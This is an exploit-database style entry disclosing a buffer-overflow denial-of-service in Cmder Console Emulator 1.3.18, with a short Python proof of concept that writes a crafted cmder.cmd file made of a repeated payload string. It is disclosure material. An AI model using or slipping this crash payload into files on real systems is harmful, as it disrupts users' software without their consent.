Cmder Console Emulator 1.3.18 – ‘Cmder.exe’ Denial of Service (PoC)
# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial of Service (PoC) # Date: 2021-10-07 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://cmder.net # Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip # Version: v1.3.18 # Tested on: Windows 10 # [About - Cmder Console Emulator] : #Cmder is a software package created over absence of usable console emulator on Windows. #It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout. # [Security Issue] : #equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition. #E.g λ cmder.cmd # [POC] : PAYLOAD=chr(235) + "\\CMDER" PAYLOAD = PAYLOAD * 3000 with open("cmder.cmd", "w") as f: f.write(PAYLOAD) |